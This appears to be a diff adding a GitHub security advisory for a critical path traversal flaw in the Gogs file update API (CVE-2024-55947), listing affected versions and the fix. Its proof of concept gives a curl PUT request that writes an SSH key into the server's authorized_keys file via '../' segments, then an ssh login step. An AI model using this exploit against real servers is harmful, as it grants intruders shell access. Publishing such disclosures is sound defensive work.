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GHSA-qf5v-rp47-55gg
GHSA-r7j8-5h9c-f6fx

advisories/github-reviewed/2024/12/GHSA-qf5v-rp47-55gg/GHSA-qf5v-rp47-55gg.json

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+{
+  "schema_version": "1.4.0",
+  "id": "GHSA-qf5v-rp47-55gg",
+  "modified": "2024-12-23T17:53:16Z",
+  "published": "2024-12-23T17:53:16Z",
+  "aliases": [
+    "CVE-2024-55947"
+  ],
+  "summary": "Path Traversal in file update API in gogs",
+  "details": "### Impact\n\nThe malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. \n\n### Patches\n\nWriting files outside repository Git directory has been prohibited via the repository file update API (https://github.com/gogs/gogs/pull/7859). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.\n\n### Workarounds\n\nNo viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.\n\n### References\n\nn/a\n\n### Proof of Concept\n\n1. Generate a Personal Access Tokens\n2. Edit any file on the server with this\n\n    ```bash\n    curl -v --path-as-is -X PUT --url \"http://localhost:10880/api/v1/repos/Test/bbcc/contents/../../../../../../../../home/git/.ssh/authorized_keys\" \\\n    -H \"Authorization: token eaac23cf58fc76bbaecd686ec52cd44d903db9bf\" \\\n    -H \"Content-Type: application/json\" \\\n    --data '{\n      \"message\": \"an\",\n      \"content\": \"<base64encoded: your ssh pub key>\"\n    }'\n    ```\n\n3. ssh connect to remote server\n\n    ```bash\n    ssh -i temp git@localhost -p 10022\n    ```\n\n### For more information\nIf you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.\n",
+  "severity": [],
+  "affected": [
+    {
+      "package": {
+        "ecosystem": "Go",
+        "name": "gogs.io/gogs"
+      },
+      "ranges": [
+        {
+          "type": "ECOSYSTEM",
+          "events": [
+            {
+              "introduced": "0"
+            },
+            {
+              "fixed": "0.13.1"
+            }
+          ]
+        }
+      ]
+    }
+  ],
+  "references": [
+    {
+      "type": "WEB",
+      "url": "https://github.com/gogs/gogs/security/advisories/GHSA-qf5v-rp47-55gg"
+    },
+    {
+      "type": "PACKAGE",
+      "url": "https://github.com/gogs/gogs"
+    }
+  ],
+  "database_specific": {
+    "cwe_ids": [
+      "CWE-22"
+    ],
+    "severity": "CRITICAL",
+    "github_reviewed": true,
+    "github_reviewed_at": "2024-12-23T17:53:16Z",
+    "nvd_published_at": null
+  }
+}